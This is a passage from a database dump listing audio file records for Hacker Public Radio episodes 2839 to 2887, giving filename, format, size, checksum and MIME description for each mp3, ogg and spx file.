(2839,'hpr2839.ogg','ogg',20901131,'775b11dc1bf3b0241270e3c833030fb0e8d6869f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2839,'hpr2839.spx','spx',8473943,'29ae511e96c2e2b5712f7d4e12085e9dbf6a4351','application/ogg; charset=binary','Ogg data, Speex audio'),
(2840,'hpr2840.mp3','mp3',59443386,'e1ee46737d8ab92ce9b26b3c53e1a191af36f4e0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2840,'hpr2840.ogg','ogg',58664940,'d998915b5b93e17dd88d430b98bc08d999e309d7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2840,'hpr2840.spx','spx',26547816,'33cbc26b0fb4e9e022eebc650b4092165da5e9f3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2841,'hpr2841.mp3','mp3',16031687,'099231a7366916730e144c5047cb9a8b793de330','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2841,'hpr2841.ogg','ogg',17774716,'1ebd6c1cf9f39b7506fcb6e8a45f56f31bfa59f8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2841,'hpr2841.spx','spx',7159716,'ef31f801691108d72dfb0548ae26e9e10db779cd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2842,'hpr2842.mp3','mp3',2898750,'e7867915aeab46876ce350309f21068edd291a99','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2842,'hpr2842.ogg','ogg',3063723,'24fa4ef03ef4f51a9310b6ebb1f08fc387a933de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2842,'hpr2842.spx','spx',1294348,'763f529fccf5adc3c19f4ef212d74a8912d86fd9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2843,'hpr2843.mp3','mp3',6520356,'8e327138fd4a4dc048b6511fb2eeb157923b2585','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2843,'hpr2843.ogg','ogg',6268489,'02d54d72ab2abcb606347004182bbf1ebb997e9c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2843,'hpr2843.spx','spx',2911793,'51d8344f711b5b833414e076d25dfe16f0a36945','application/ogg; charset=binary','Ogg data, Speex audio'),
(2844,'hpr2844.mp3','mp3',16061570,'1f3ecffa563cbadeae19a4c77fd34fcb1a689169','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2844,'hpr2844.ogg','ogg',18038129,'f7e83cecfe2a3eb91c2ad3570ddb74b0f102a30b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2844,'hpr2844.spx','spx',7173002,'81afd0440247d478439bc6a57ffedd5079507757','application/ogg; charset=binary','Ogg data, Speex audio'),
(2845,'hpr2845.mp3','mp3',83229028,'9408ccf238cd798318f8d2ed5f4d3a86402e935b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2845,'hpr2845.ogg','ogg',81655447,'f9c2578a0739f1e1f36a14f8985d5e1873eccb33','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2845,'hpr2845.spx','spx',37170648,'f8b8fe96117d41f03110ad3f452b85d5dfe622f4','application/ogg; charset=binary','Ogg data, Speex audio'),
(2846,'hpr2846.mp3','mp3',28045893,'e3a69109dbd34a1c0ccf4c56f0b35c3ce07ea13f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2846,'hpr2846.ogg','ogg',28027753,'98a89ab6e8b3ca15a894691f1395f44fae5d293a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2846,'hpr2846.spx','spx',12525277,'0151fb6dde37de1549fc68d0c90a1ec3877e0b83','application/ogg; charset=binary','Ogg data, Speex audio'),
(2847,'hpr2847.mp3','mp3',8276356,'bff7c41a6afe2fed3d8b54a6c792d804b509c1d6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2847,'hpr2847.ogg','ogg',9093249,'db58cd04b00a05b2be496acecb7fcf0a81412d2e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2847,'hpr2847.spx','spx',3696054,'6b083867c318dcd706fc1a12e01a0c79cb8f3215','application/ogg; charset=binary','Ogg data, Speex audio'),
(2848,'hpr2848.mp3','mp3',16755754,'437aa6b1913a543307065eb04818d64c6800147e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2848,'hpr2848.ogg','ogg',15778053,'fc9abb59c528af6d57f2e99308ceb55095ff394b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2848,'hpr2848.spx','spx',7483067,'b2b7ff1a088ee9cf2c0a51586e2e787c384afdad','application/ogg; charset=binary','Ogg data, Speex audio'),
(2849,'hpr2849.mp3','mp3',63178272,'d73cb4ed802620860ae271b9144d6f699f42e25d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2849,'hpr2849.ogg','ogg',63035900,'d9a03fbca3278163a387a15ad2cedcc6bdb42c62','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2849,'hpr2849.spx','spx',28215793,'29192f84fee40a16ae677828b29a705c194e9e7a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2850,'hpr2850.mp3','mp3',14720089,'374dbe415f6ea57f653450d954efbe43b195248a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2850,'hpr2850.ogg','ogg',16920756,'2b33f2b29fef24a0ce6fb3d537baff37fe1e8662','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2850,'hpr2850.spx','spx',6573934,'c90f3f01fda6a4fb191efc102d6ecba49b15025e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2851,'hpr2851.mp3','mp3',15846485,'1b08625c5e112141ddb33405fa9ff2c6f1d03f73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2851,'hpr2851.ogg','ogg',18792289,'67d6e8116cb6bcae08943bda1b8122ddaa940e4f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2851,'hpr2851.spx','spx',7076983,'b2eb957d452a380aea2c059192a05a97f70f3b53','application/ogg; charset=binary','Ogg data, Speex audio'),
(2852,'hpr2852.mp3','mp3',21589616,'64bfa30d2c735783fe98ef3485da360b4d13903b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2852,'hpr2852.ogg','ogg',22226779,'031a7553804bb0922946632c58b527b1fb1ee6f1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2852,'hpr2852.spx','spx',9641898,'b21642b47ca0cbede633d872d6d944649d2dfbe7','application/ogg; charset=binary','Ogg data, Speex audio'),
(2853,'hpr2853.mp3','mp3',4455195,'83a6797823f7459f38a40d1b4b620e77660d7538','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2853,'hpr2853.ogg','ogg',4916324,'e30856fd3c39de8abd45099ab7d439feb5121b3d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2853,'hpr2853.spx','spx',1989456,'0efe9027e7dbc8fbcb1f901a36be69d47e87dcb9','application/ogg; charset=binary','Ogg data, Speex audio'),
(2854,'hpr2854.mp3','mp3',4084057,'de68cc3384792fe1256d421d0f4e53bf8f0ffb6d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2854,'hpr2854.ogg','ogg',4541194,'1474ef5eee518abc90b29edf31f429f1a2398972','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2854,'hpr2854.spx','spx',1823764,'01ea76d82909e496a57b782a615391d875cee994','application/ogg; charset=binary','Ogg data, Speex audio'),
(2855,'hpr2855.mp3','mp3',68996264,'674acfd0424d4f9621fb640217e3ac9f7c2e72fa','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2855,'hpr2855.ogg','ogg',68207656,'81dde3fe12308d5c85087b40c9e696c15556849f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2855,'hpr2855.spx','spx',30814127,'4894beca78bd913c5248f524c7dd78969cf76106','application/ogg; charset=binary','Ogg data, Speex audio'),
(2856,'hpr2856.mp3','mp3',10547151,'45ee913ecb40c0b5a06ed7e287137f6f6bddae03','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2856,'hpr2856.ogg','ogg',13457869,'612b83c229cbf466df67aa960abe4ae131cd02e5','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2856,'hpr2856.spx','spx',4710215,'dc371cebcf9850683ec35dcb467dab7f2fdcff5b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2857,'hpr2857.mp3','mp3',9080835,'489f2baa4928e8fb14e063a9cb2a6ddc974d571a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2857,'hpr2857.ogg','ogg',10129078,'2aa33878abe19eaead45d26f8a77cc370aec8151','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2857,'hpr2857.spx','spx',4055311,'c57271a571fa2ee4fcebd7eb8b587c8bad3f2fbc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2858,'hpr2858.mp3','mp3',12324342,'58fd6ee14fba29f1fe25329f8839c4d37eb07f38','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2858,'hpr2858.ogg','ogg',11459111,'67c1a49eb5376c7d875982c49f7c020e41ef7c1c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2858,'hpr2858.spx','spx',5503917,'b3223917e0aeb024582b16aef89fc13da4bcadf1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2859,'hpr2859.mp3','mp3',86817834,'7a0535978492623d73b708fffb88c96c71ef781b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2859,'hpr2859.ogg','ogg',87285663,'619f2557faa14053f202803f8568c898aacdc0fc','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2859,'hpr2859.spx','spx',38773438,'17789a830f0275472a3ebcf9206b6b351611d26d','application/ogg; charset=binary','Ogg data, Speex audio'),
(2860,'hpr2860.mp3','mp3',7159403,'4c354815c872624dd1424b21a98e77b09bb796ea','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2860,'hpr2860.ogg','ogg',8243246,'9a28611b07914ea2600d7691de7480b8dead21a6','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2860,'hpr2860.spx','spx',3197260,'726360cfe44f93651afd29e71ee7089cb1f53117','application/ogg; charset=binary','Ogg data, Speex audio'),
(2861,'hpr2861.mp3','mp3',7711501,'7986c946905df62c16e6f23685f39c8762b4f29f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2861,'hpr2861.ogg','ogg',8835918,'69d34b84722331bddbf2a418ab087d02be3b7a3c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2861,'hpr2861.spx','spx',3443820,'642327bcdce2115b993e79145bd4e7805a15209e','application/ogg; charset=binary','Ogg data, Speex audio'),
(2862,'hpr2862.mp3','mp3',7742036,'24d95803f08ca251aa06fd7c8a95c61087a60213','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2862,'hpr2862.ogg','ogg',8029645,'6fea1b68d2dff38a25ffb045123a827d3f6a38fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2862,'hpr2862.spx','spx',3457415,'435bda8a5ace7e936b38cedd79fc3550f32bd807','application/ogg; charset=binary','Ogg data, Speex audio'),
(2863,'hpr2863.mp3','mp3',8746668,'f7cc4865492a55db7ed60790f1827c8160be6ea0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2863,'hpr2863.ogg','ogg',9145753,'16d0ac5de75310f80d3ec2e97ebbbfc65563ea1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2863,'hpr2863.spx','spx',3906110,'ff7e03157cbd1a20ccb418a9710e35ae38b21418','application/ogg; charset=binary','Ogg data, Speex audio'),
(2864,'hpr2864.mp3','mp3',10013267,'1a2fa14cf36373d39b9ceedf536e58ed3ad5064e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2864,'hpr2864.ogg','ogg',11387084,'c0fd63bb44216881ae9b7adde739c8d0a2c5f3e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2864,'hpr2864.spx','spx',4471808,'ff7b6f4709fd35c695f1ccab5db1fb735011e443','application/ogg; charset=binary','Ogg data, Speex audio'),
(2865,'hpr2865.mp3','mp3',7927826,'93acc85cde4e7bc1a65f72adc19767b26bed5178','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2865,'hpr2865.ogg','ogg',9179188,'7d2e6bcf116c62ef2ceeb3b54b2b7117eff984ec','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2865,'hpr2865.spx','spx',3540323,'4e5b00f3e1ce271df03aeef2ccb8c81e87778d13','application/ogg; charset=binary','Ogg data, Speex audio'),
(2866,'hpr2866.mp3','mp3',16422668,'246c76520b35767a04cd12f7899388f2b8f8d036','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2866,'hpr2866.ogg','ogg',17689492,'79f4bff0b236ebff95e49469a9eac8db72b1c200','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2866,'hpr2866.spx','spx',7334256,'67d7323a2ce374c83b18c86952fb09238b0ca5ba','application/ogg; charset=binary','Ogg data, Speex audio'),
(2867,'hpr2867.mp3','mp3',7423997,'697e4ba4d43b459e0321b2a119b7251edc908a36','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2867,'hpr2867.ogg','ogg',8784968,'c35e42482167f09fc0b634ff1080d562208e4bb0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2867,'hpr2867.spx','spx',3315404,'c58356fec2abfd17e4a9d0ae95cad1259702aae3','application/ogg; charset=binary','Ogg data, Speex audio'),
(2868,'hpr2868.mp3','mp3',10706411,'d7a1d31a4baa61076bbb18ed1fbd7a96b5b4612d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2868,'hpr2868.ogg','ogg',10134171,'c236016d18bb512e0744a7f333ba5aec040dbb46','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2868,'hpr2868.spx','spx',4781310,'160322a72a281375ed8c136d2bdebb8b27594fc6','application/ogg; charset=binary','Ogg data, Speex audio'),
(2869,'hpr2869.mp3','mp3',6635938,'11c9de9e18cee69f85e38929d58c55b6880fae0d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2869,'hpr2869.ogg','ogg',7020531,'5c872d19c761b9a4be9a0483a4730ebefb23d0ef','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2869,'hpr2869.spx','spx',2963393,'ce1f4ab6ddaa829e91d8bb0164af93909c69b527','application/ogg; charset=binary','Ogg data, Speex audio'),
(2870,'hpr2870.mp3','mp3',8008892,'e27cdb34571a366e3753ef6ae0d0ae36ae198fb2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2870,'hpr2870.ogg','ogg',9469593,'6a72715a795ccb5b27a3e5206f9d4070e906c31f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2870,'hpr2870.spx','spx',3576615,'a123b20a13227eed36422799282029f1c3f83ae1','application/ogg; charset=binary','Ogg data, Speex audio'),
(2871,'hpr2871.mp3','mp3',31485279,'b9aed2534242925952041afc8032686844306637','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2871,'hpr2871.ogg','ogg',31809897,'b7a9a7866ed0d4343d8043f3d6184885101a6960','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2871,'hpr2871.spx','spx',14061419,'ea92bca638cd1183d2cffc7e264b7ef70a5db181','application/ogg; charset=binary','Ogg data, Speex audio'),
(2872,'hpr2872.mp3','mp3',4834261,'24095b2434dc52b7c8bfe4f0b77d5964cf66a4c4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2872,'hpr2872.ogg','ogg',5809802,'c2baa605d3967db0c9988d51c1ae95b010acdcc8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2872,'hpr2872.spx','spx',2158712,'52d108ece9b8e9d031346139aacf42d9b6c4fe54','application/ogg; charset=binary','Ogg data, Speex audio'),
(2873,'hpr2873.mp3','mp3',9447077,'8993b7353b6641b3c91992f9cb2a9000c8d76e18','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2873,'hpr2873.ogg','ogg',8873712,'c0ac6c6ce88880e4b34031d231c48044e01c196b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2873,'hpr2873.spx','spx',4218855,'60056227e4dc8575125f5238cab821d3d3dea15b','application/ogg; charset=binary','Ogg data, Speex audio'),
(2874,'hpr2874.mp3','mp3',10930060,'daf405a7b1f7aa049a77255e9cd4a5eb20e7dcca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2874,'hpr2874.ogg','ogg',12551956,'0e1a7cab824aa99d5a1b72c0a91690ba82100660','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2874,'hpr2874.spx','spx',4881257,'eb02d4f84149bf4d08d6df2b83cf4b7b8cf14245','application/ogg; charset=binary','Ogg data, Speex audio'),
(2875,'hpr2875.mp3','mp3',4707013,'48d75424f8bb03d284628bbea408c75b6f0d0798','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2875,'hpr2875.ogg','ogg',5051227,'1d2a44960721571bdcadaafd8560731187609c08','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2875,'hpr2875.spx','spx',2102008,'56c79c45a03b4c9a325e7518b5b58b6f10c3ba8f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2876,'hpr2876.mp3','mp3',21412831,'0b40c3f88f0f66bf2b70104a430449fb49631229','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2876,'hpr2876.ogg','ogg',24265802,'901b75fad681af11d366c6b71d2d3ae65bfd86d1','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2876,'hpr2876.spx','spx',9562897,'676359e90e93fb5c892b69c378a64e7194b759d8','application/ogg; charset=binary','Ogg data, Speex audio'),
(2877,'hpr2877.mp3','mp3',11965324,'0d1dd5adaca63bbea4bf8ca3f6c8dfe8ab2c0050','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2877,'hpr2877.ogg','ogg',13054517,'0bb622cb144c64ffaa6a2e31d8e5057ba7459070','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2877,'hpr2877.spx','spx',5343576,'bdaf6d34d4c84055aa3b14d9dca0838ea25ed851','application/ogg; charset=binary','Ogg data, Speex audio'),
(2878,'hpr2878.mp3','mp3',10433059,'0b245efc0f6cc202925eb49dd2ecb140aaebd312','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2878,'hpr2878.ogg','ogg',9646380,'95baad62ee96185f9ccc901ec7a2bd1cbc1d5f66','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2878,'hpr2878.spx','spx',4659279,'6b8155ac6632dd07cdc51cfcdc900f782c91e002','application/ogg; charset=binary','Ogg data, Speex audio'),
(2879,'hpr2879.mp3','mp3',16099973,'5c809159f1f7ad99b81545589ab90cfc7bf0de69','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2879,'hpr2879.ogg','ogg',19287471,'f111d9422f873605ba13220faec9ac9ade54d82b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2879,'hpr2879.spx','spx',7190101,'7ea9936422cc6a1cae0ad3d74c323ab35c6f0391','application/ogg; charset=binary','Ogg data, Speex audio'),
(2880,'hpr2880.mp3','mp3',7976715,'c52eb7fb6fd856eb3cc0ebb0a67acb317d167678','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2880,'hpr2880.ogg','ogg',9449978,'2bec63b85bddcfba88973639a7596862fd25ac10','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2880,'hpr2880.spx','spx',3562171,'954e04675ded4f9f4575ee4ea692710da1e2487a','application/ogg; charset=binary','Ogg data, Speex audio'),
(2881,'hpr2881.mp3','mp3',3091669,'f87c2cc90cb6f1ac368f04e75e2f15dd025089c3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2881,'hpr2881.ogg','ogg',3468128,'b1efa6b7f337bec7da609603a3cc8d32f197af45','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2881,'hpr2881.spx','spx',1380501,'83556aa726a8f5d27b0ee22b9b4cd44f9b70ba15','application/ogg; charset=binary','Ogg data, Speex audio'),
(2882,'hpr2882.mp3','mp3',12011933,'b5008ce665f06d22618176df7bf1cb7f4f58a4ee','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2882,'hpr2882.ogg','ogg',14012084,'b70a72a6655f8750e77b390403a07a809a201749','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2882,'hpr2882.spx','spx',5364378,'6d7699b5b7244f8742829fe19753443990a4e8bc','application/ogg; charset=binary','Ogg data, Speex audio'),
(2883,'hpr2883.mp3','mp3',3629714,'bcfc77303952a748d60cb70731477cdba3ea21d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2883,'hpr2883.ogg','ogg',3583815,'44c97ffce5e5fb7291ae80e309e4814ed58f9347','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2883,'hpr2883.spx','spx',1620807,'3090b2b11562b0910e36bd3d7ee5ecba9d397080','application/ogg; charset=binary','Ogg data, Speex audio'),
(2884,'hpr2884.mp3','mp3',38200681,'46c1e7e1d7049fc5fe4a7c762cc2432e8a356349','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2884,'hpr2884.ogg','ogg',42816937,'f20dbb7fd427c8f0f6e5af1510bdcbcd1df00bfe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2884,'hpr2884.spx','spx',17060609,'06a367aef8c0c1f25453b6ac6fba6364f0d27e2f','application/ogg; charset=binary','Ogg data, Speex audio'),
(2885,'hpr2885.mp3','mp3',9068899,'f61ef91f5fafb83ccb3d6d3642182fdd4b9db39f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2885,'hpr2885.ogg','ogg',10871237,'e86339f926efa78016f90068f8f065608933469e','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2885,'hpr2885.spx','spx',4050006,'7144524c1f8b72fc8688d611538aabb132486dbd','application/ogg; charset=binary','Ogg data, Speex audio'),
(2886,'hpr2886.mp3','mp3',10151748,'fecd0babbab8b2d5687d92388439c8961534c898','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
(2886,'hpr2886.ogg','ogg',10929641,'47320603caacf1455dfa7c4d5c5b2ac159478a1b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 44100 Hz, ~80000 bps, created by: Xiph.Org libVorbis I'),
(2886,'hpr2886.spx','spx',4533627,'ae1ac9e54105fbb353bf859004ff3363c521f973','application/ogg; charset=binary','Ogg data, Speex audio'),
(2887,'hpr2887.mp3','mp3',18752966,'1563db2a76116f4c478857d67d8e1335513b84e1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 44.1 kHz, Monaural'),
